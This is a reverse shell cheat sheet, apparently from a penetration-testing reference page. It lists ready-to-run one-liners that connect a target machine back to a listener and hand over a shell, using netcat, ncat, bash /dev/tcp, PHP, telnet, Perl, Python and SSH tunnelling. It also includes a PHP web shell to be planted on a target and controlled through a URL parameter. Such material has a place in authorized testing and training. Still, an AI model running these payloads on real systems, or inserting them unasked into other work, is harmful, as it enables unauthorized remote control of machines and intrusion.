Reverse Shell Cheat Sheet

Start a listener on your machine, then run one of the payloads on the target. local.machine.ip.addr and PORTNUM are placeholders.

Listener

nc -lnvp PORTNUM

netcat

nc local.machine.ip.addr PORTNUM -e /bin/sh     # Unix
nc local.machine.ip.addr PORTNUM -e cmd.exe     # Windows

Without -e (many builds omit it):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc local.machine.ip.addr PORTNUM >/tmp/f

ncat (supports SSL)

ncat -lvp PORTNUM --ssl                                   # listener
ncat -e /bin/sh -v local.machine.ip.addr PORTNUM --ssl    # target

bash

bash -i >& /dev/tcp/local.machine.ip.addr/PORTNUM 0>&1

exec 5<>/dev/tcp/local.machine.ip.addr/PORTNUM
cat <&5 | while read line; do $line 2>&5 >&5; done

PHP

php -r '$sock=fsockopen("local.machine.ip.addr","PORTNUM");exec("/bin/sh -i <&3 >&3 2>&3");'

URL command shell (drop on the target, reach via ?cmd=):

<?php passthru($_GET["cmd"]); ?>

telnet

rm -f /tmp/p; mknod /tmp/p p && telnet local.machine.ip.addr PORTNUM 0/tmp/p

telnet local.machine.ip.addr PORTNUM_A | /bin/bash | telnet local.machine.ip.addr PORTNUM_B

Perl

perl -e 'use Socket;$i="local.machine.ip.addr";$p=PORTNUM;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("local.machine.ip.addr",PORTNUM));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

SSH

ssh -NR 3333:localhost:22 user@local.machine.ip.addr

See also

• Netcat — netcat’s own reference (port scan, bind shell, transfer).
• Upgrade and Escape Shells — once you have a shell, make it a real TTY.